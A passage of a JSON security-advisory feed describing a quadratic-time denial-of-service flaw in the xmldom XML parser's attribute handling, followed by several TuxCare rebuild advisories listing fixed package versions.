DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, DOMHandler.startElement in lib/dom-parser.js inserts every parsed attribute through setAttributeNode, while NamedNodeMap.setNamedItem in lib/dom.js calls the linear getNamedItem or getNamedItemNS lookup for each insertion. A well-formed element with many distinct attributes therefore requires quadratic comparisons during DOMParser.parseFromString() and can stall a Node.js event loop before application validation. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.","status":"published","published":"2026-09-01T15:17:39Z","modified":"2026-09-08T05:27:28Z","updated_at":"2026-11-02T15:28:12.596039Z"},{"id":"CLSA-2026-1790608669","title":"TuxCare security update for @xmldom/xmldom (9 CVEs)","description":"TuxCare rebuilt @xmldom/xmldom to address 9 CVEs. Fixed in 0.9.10-tuxcare.1.","status":"published","published":"2026-09-28T15:17:49Z","modified":"2026-10-15T09:47:38.560737529Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790755546","title":"TuxCare security update for @xmldom/xmldom (14 CVEs)","description":"TuxCare rebuilt @xmldom/xmldom to address 14 CVEs. Fixed in 0.7.13-tuxcare.1.","status":"published","published":"2026-09-30T08:05:46Z","modified":"2026-10-15T09:47:53.549832566Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1791028067","title":"TuxCare security update for @xmldom/xmldom (3 CVEs)","description":"TuxCare rebuilt @xmldom/xmldom to address 3 CVEs. Fixed in 0.9.8-tuxcare.1.","status":"published","published":"2026-10-03T11:47:47Z","modified":"2026-10-15T09:47:38.622375059Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1793867503","title":"TuxCare security update for xmldom (2 CVEs)","description":"TuxCare rebuilt xmldom to address 2 CVEs. Fixed in 0.1.31-tuxcare.8.","status":"published","published":"2026-11-05T09:31:44Z","modified":"2026-11-05T13:15:12.637346504Z","updated_at":"2026-11-05T13:30:00.949926Z"},{"id":"CLSA-2026-1793867506","title":"TuxCare security update for xmldom (2 CVEs)","description":"TuxCare rebuilt xmldom to address 2 CVEs. Fixed in 0.6.0-tuxcare.8.","status":"published","published":"2026-11-05T09:31:47Z","modified":"2026-11-05T13:15:15.182544598Z","updated_at":"2026-11-05T13:30:00.949926Z"}]}}
